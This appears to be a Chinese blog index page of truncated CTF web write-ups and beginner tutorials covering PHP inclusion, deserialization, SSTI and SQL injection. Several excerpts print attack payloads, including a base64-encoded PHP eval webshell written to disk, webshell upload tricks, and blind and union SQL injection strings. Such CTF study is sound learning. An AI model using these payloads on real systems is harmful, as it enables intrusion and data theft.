启航杯wp
webEasy_include<?phperror_reporting(0);//flag in flag.php$file=$_GET['file'];if(isset($file)){ if(!preg_match("/flag/i",$file)) { include($file); } else { echo("no no no ~ "); }}else{ highlight_file(__FILE__);}?> 代码审计,直接使用input伪协议,修改为POST包 Web_IP在hint页面发现提示 因此尝试在flag页面伪造本地IP 发现没有结果,尝试进行ssti漏洞 发现可以注入,直接尝试{system('cat...
web入门-php反序列化
一.前置php知识1.类,对象,属性,方法类类(class)是一个共享相同结构和行为的对象的集合。每个类的定义都以关键字class开头,后面跟着类的名字。类本身不是实体,不能直接使用,必须通过实例化生成对象。 class MyClass { public $property1; //属性 public function method1() { //方法 // 方法体 }} 对象对象(object)是一个由信息及对信息进行处理的描述所组成的整体,是对现实世界的抽象。 每个对象可以有不同的属性值,但共享类中的方法。 对象之间相互独立,修改一个对象的属性不会影响其他对象。 可以调用类中的方法来执行特定的操作。 $object = new MyClass(); 属性属性(Property)是类的成员变量,用于存储对象的状态信息。有以下三种访问控制修饰符 **public**:公共属性,可以从类的外部直接访问。 class Car { public $color =...
BaseCTF2024新生赛
HTTP 是什么呀常规的GET,POST传参,改cookie,referer,UA,IP,注意这里如果是GET传参要传入%00,就要先url编码一次,即传入%2500,因为浏览器会自动进行一次url解码 GET /?basectf=we1c%2500me POST Base=fl@gCookie: c00k13=i can't eat itUser-Agent: BaseReferer: BaseX-Forwarded-For:127.0.0.1 base64解码即可 喵喵喵´•ﻌ•`直接GET传参 DT=system('ls /');DT=system('cat /flag'); md5绕过欸直接数组绕过即可,注意第二层为强比较,也可用数组绕过 GET:name[]=1&name2[]=2Post:password[]=3&password2[]=4 A Dark Room源码 upload写个一句话木马存为1.php上传,bp抓包修改文件类型为Content-Type:...
XYCTF2024复现
ezMake(makefile)写马随便输入 PATH 环境变量被显式地设定为空。这段 Makefile 的逻辑检查了 PATH 是否未定义,如果未定义则设为空,如果已定义也重设为空。由于 PATH 被设置为空,shell 将无法定位到除内置命令之外的任何外部命令的位置。 Bash 内建命令,这些命令是由Bash自身提供,而不是独立的程序: alias - 定义或显示别名。cd - 改变当前目录。echo - 输出参数到标准输出。exit - 退出当前shell。export - 设置或显示环境变量。history - 显示命令历史记录。pwd - 打印当前工作目录的路径。read - 从标准输入读取一行数据。set - 设置或取消设置shell选项和位置参数。type - 显示一个命令的类型。unset - 删除变量或函数的定义。 尝试base64写马 echo "PD9waHAgZXZhbCgkX1BPU1RbY21kXSk7Pz4K" | base64 -d > 1.phpecho "<?php...
SYCTF2023&XYNU2024信安杯web
SYCTF2023签到源码 登录进去直接先登录,但是随便试了几个均错误,以为是sql,测了下没测出来,然后直接抓包去试了下弱口令爆破,真成了。。。。(不是哥们) 访问index.php,获得flag 宝宝巴士<?php$rce = $_GET['rce'];if (isset($rce)) { if (!preg_match("/cat|more|less|head|tac|tail|nl|od|vi|vim|sort|flag| |\;|[0-9]|\*|\`|\%|\>|\<|\'|\"/i", $rce)) { system($rce); }else { echo "hhhhhhacker!!!"."\n"; }} else { ...
湘岚杯&emojiCTF2024web
湘岚杯冷暴力不管输入什么,页面均只回显”嗯”,经典的时间盲注 构造payload为1 and sleep(2)尝试,能够sleep,说明为数字型且sleep未被过滤,构造payload如下 1 and if(1,sleep(2),0)# #能够sleep,说明if、逗号未被过滤1 and if(length(1)=1,sleep(2),0)# #不能sleep,说明length或=被过滤1 and 1=1 and sleep(2)# #能够sleep,说明=未被过滤,尝试大写绕过length1 and if(Length(1)=1,sleep(2),0)# #成功sleep(双写绕过也行)1 and if(substr('1',1,1)='1',sleep(2),0)# #不能sleep,说明substr被过滤,大写或双写绕过尝试1 and if(subsubstrstr('1',1,1)='1',sleep(2),0)# #成功sleep1 and...
详解请求头信息
参考详解request headers(一篇讲完常见字段) 一.定义HTTP请求头部(HTTP Request Headers):HTTP协议中的一部分,用于在客户端和服务器之间传递附加信息。这些头部字段提供了关于请求、客户端环境、或请求的上下文的信息。 请求头是键值对的形式,每个key对应填写相应的内容(内容可能包括多个取值,取多个值时,以“;”分隔)。通过bp抓包可以得到或者更改请求头信息,比如以下就是通过bp抓访问百度包的请求头 GET / HTTP/1.1Host: www.baidu.comCookie: BAIDUID=D915327BE37405BA6581E6C24AC9305D:FG=1;...
极客大挑战2019
[极客大挑战 2019]EasySQL 直接万能密码闭合后登录即获得flag 闭合后语句username=1&password='1' or 1=1#' [极客大挑战 2019]LoveSQL使用万能密码尝试 username=1&password=1' or 1=1# 有回显位置了,且题目提示flag放在了其他位置,下述payload的password均为上图数据 username=admin' order by 3# order by判断列数,列数为4时报错username=a' union select 1,2,3#用不存在的username才能找到回显位,不然使用admin只会重复上图,回显位为2,3username=a' union select 1,(database()),3#库名为geekusername=a' union select 1,(select group_concat(table_name) from...
web入门-sql注入
一.原理攻击者在进行数据库查询时恶意构造查询语句,使得查询语句能够得到任意攻击者想要的信息(永远不要相信用户的输入) 二.类型按查询来分可分为字符型和数字型(主要区别是字符型需要闭合而数字型无闭合) 按注入方式可分为union注入、报错注入、盲注、文件上传注入等 判断有无注入首先在参数后加上单引号(无论字符型还是数字型都会因单引号个数不匹配报错) 判断注入类型1.输入and 1=1和and 1=2 若均为正常则为字符型,第二个报错即为数字型 2.输入id=1和id=2-1 若结果相同则为数字型,第二个不同则为字符型 以ctfshow171举例 $sql = "select username,password from user where username !='flag' and id = '".$_GET['id']."' limit...
Hackergame复现
签到 错误输入一次后在url框中发现false,修改为true后获得flag 喜欢做签到的 CTFer 你们好呀题目要求ctf战队招新网站,在承办单位中找到,进去后为Linux终端 flag1通过help命令找出可用命令,再用ls -la命令找到隐藏的.flag文件,cat .flag获得 flag{0k_175_a_h1dd3n_s3c3rt_f14g___please_join_us_ustc_nebula_anD_two_maJor_requirements_aRe_shown_somewhere_else} flag2输出.oh-you-found-it的内容,提示考虑其他目录,进入Awards时提示要管理员权限,但是sudo...